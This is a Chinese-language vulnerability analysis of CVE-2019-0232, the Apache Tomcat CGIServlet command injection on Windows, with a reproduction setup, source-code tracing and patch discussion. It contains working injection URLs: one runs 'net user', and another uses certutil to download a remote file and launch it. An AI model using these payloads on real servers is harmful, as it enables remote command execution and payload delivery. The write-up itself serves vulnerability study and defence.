2019年4月13号，Apache Tomcat 9.0.18版本公告中提到，本次更新修复了一个代号为CVE-2019-0232的漏洞。

该漏洞只对Windows平台有效，攻击者向CGI Servlet发送一个精心设计的请求，可在具有Apache Tomcat权限的系统上注入和执行任意操作系统命令。漏洞成因是当将参数从JRE传递到Windows环境时，由于CGI_Servlet中的输入验证错误而存在该漏洞。

漏洞影响范围

★Apache Tomcat 9.0.0.M1 to 9.0.17

★Apache Tomcat 8.5.0 to 8.5.39

★Apache Tomcat 7.0.0 to 7.0.93

漏洞复现

笔者使用的测试环境为Win10 Home 1809，jre版本为18.3 (build 10.0.2+13)，Tomcat版本为去年安装的9.0.13。

Tomcat的CGI_Servlet组件默认是关闭的，在 conf/web.xml 中找到注释的CGIServlet部分，去掉注释，并配置enableCmdLineArguments和executable，如下

<servlet>
    <servlet-name>cgi</servlet-name>
    <servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
    <init-param>
      <param-name>cgiPathPrefix</param-name>
      <param-value>WEB-INF/cgi-bin</param-value>
    </init-param>
    <init-param>
      <param-name>enableCmdLineArguments</param-name>
      <param-value>true</param-value>
    </init-param>
    <init-param>
      <param-name>executable</param-name>
      <param-value></param-value>
    </init-param>
    <load-on-startup>5</load-on-startup>
</servlet>

<servlet-mapping>
        <servlet-name>cgi</servlet-name>
        <url-pattern>/cgi-bin/*</url-pattern>
    </servlet-mapping>

<Context privileged="true">
    <WatchedResource>WEB-INF/web.xml</WatchedResource>
    <WatchedResource>WEB-INF/tomcat-web.xml</WatchedResource>
    <WatchedResource>${catalina.base}/conf/web.xml</WatchedResource>
</Context>

最后在webapps/ROOT/WEB-INF文件夹下建立hello.bat空文件，里面可以什么都不用写。

启动Tomcat，打开浏览器，访问下面链接：

http://localhost:8080/cgi-bin/hello.bat?&C%3a%5cWindows%5cSystem32%5Cnet+user

网页反馈熟悉的cmd结果如下图。

漏洞利用场景

构造一个注入链接，实现一个图片下载器的功能：

http://localhost:8080/cgi-bin/hello.bat?&C%3a%5cWindows%5cSystem32%5ccertutil+-urlcache+-split+-f+http%3a%2f%2fb.hiphotos.baidu.com%2fimage%2fpic%2fitem%2f9825bc315c6034a8ef5250cec5134954082376c9.jpg+1.jpg+%26start+1.jpg

这里我用一张图片做测试，运行成功后会弹出图片。下面为一个GIF动图演示：

漏洞分析

网络社区已经有大神分析过了漏洞代码，漏洞代码位于tomcat\java\org\apache\catalina\servlets\CGIServlet.java 文件中，这里我追踪分析当浏览器访问http://localhost:8080/cgi-bin/hello.bat?&C%3a%5cWindows%5cSystem32%5Cnet+user时，相应代码做了哪些操作。

处理链接的代码在CGIServlet.java中的setupFromRequest函数中

String qs; 
if (isIncluded) { 
   qs = (String) req.getAttribute( 
   RequestDispatcher.INCLUDE_QUERY_STRING); 
} else { 
   qs = req.getQueryString(); 
}  

if (qs != null && qs.indexOf('=') == -1) {
StringTokenizer qsTokens = new StringTokenizer(qs, "+");
while (qsTokens.hasMoreTokens()) {
	String encodedArgument = qsTokens.nextToken();	if(!cmdLineArgumentsEncodedPattern.matcher(encodedArgument).matches()){

		/********此处省略打印日志代码********/
		return false;
	}

	String decodedArgument =URLDecoder.decode(encodedArgument, parameterEncoding);

	cmdLineParameters.add(decodedArgument);
	}
}

if (qs != null && qs.indexOf('=') == -1)

StringTokenizer qsTokens = new StringTokenizer(qs, "+");

private Pattern cmdLineArgumentsEncodedPattern =
            Pattern.compile("[a-zA-Z0-9\\Q%;/?:@&,$-_.!~*'()\\E]+");

String decodedArgument =URLDecoder.decode(encodedArgument, ParameterEncoding);

private final ArrayList<String> cmdLineParameters = new ArrayList<>();

反复回溯跟踪代码执行流程，有点耐心，就能找到上面处理后的字符串参数传到下面的代码做最后的处理。

List<String> cmdAndArgs = new ArrayList<>();
if (cgiExecutable.length() != 0) {
	cmdAndArgs.add(cgiExecutable);
}
if (cgiExecutableArgs != null) {
	cmdAndArgs.addAll(cgiExecutableArgs);
}
cmdAndArgs.add(command);
cmdAndArgs.addAll();

try {
	rt = Runtime.getRuntime();
	proc = rt.exec(
			cmdAndArgs.toArray(new String[cmdAndArgs.size()]),
			hashToStringArray(env), wd);

从最后一句可以看出，Tomcat调用Runtime.getRuntime().exec启动了cmd命令行，参数放在了cmdAndArgs这个ArrayList<String>数组中，cmdAndArgs是由cgiExecutable、cgiExecutableArgs、command与params组合到一起得到的。

if (getServletConfig().getInitParameter("executable") != null) {
	cgiExecutable = getServletConfig().getInitParameter("executable");
}

if (getServletConfig().getInitParameter("executable-arg-1") != null) {
	List<String> args = new ArrayList<>();
	for (int i = 1;; i++) {
		String arg = getServletConfig().getInitParameter(
				"executable-arg-" + i);
		if (arg == null) {
			break;
		}
		args.add(arg);
	}
	cgiExecutableArgs = args;
}

还记得开头在 conf/web.xml配置了一个标签executable，配置的值为空，即为默认值，可以推测cgiExecutable与cgiExecutableArgs并没什么卵用。

File fCGIFullPath = new File(sCGIFullPath);
command = fCGIFullPath.getCanonicalPath();

command源自sCGIFullPath，而sCGIFullPath可能是文件或者目录，因为无法调试，但通过观察函数命名可知，command极可能是hello.bat的绝对路径名。

很容易就可以分析出，params就是前面解码后的解码后的”&C:\Windows\System32\net”和”user”。

总结一下，此时在Windows下构造的命令行参数如下：

cmdAndArgs={“hello.bat“,”&C:\Windows\System32\net”,”user”}

为了验证我的猜想，我启动命令行，输入下面命令：

hello.bat &C:\Windows\System32\net user

String decodedArgument = URLDecoder.decode(encodedArgument, parameterEncoding);
if (cmdLineArgumentsDecodedPattern != null &&
        !cmdLineArgumentsDecodedPattern.matcher(decodedArgument).matches()) {
   /******省略打印日志代码**********/
    return false;
}

if (JrePlatform.IS_WINDOWS) {
            DEFAULT_CMD_LINE_ARGUMENTS_DECODED_PATTERN = Pattern.compile("[a-zA-Z0-9\\Q-_.\\/:\\E]+");
        } else {
            // No restrictions
            DEFAULT_CMD_LINE_ARGUMENTS_DECODED_PATTERN = null;
        }

%~1     %~2

https://xz.aliyun.com/t/4875

https://github.com/apache/tomcat/commit/4b244d8

https://github.com/pyn3rd/CVE-2019-0232/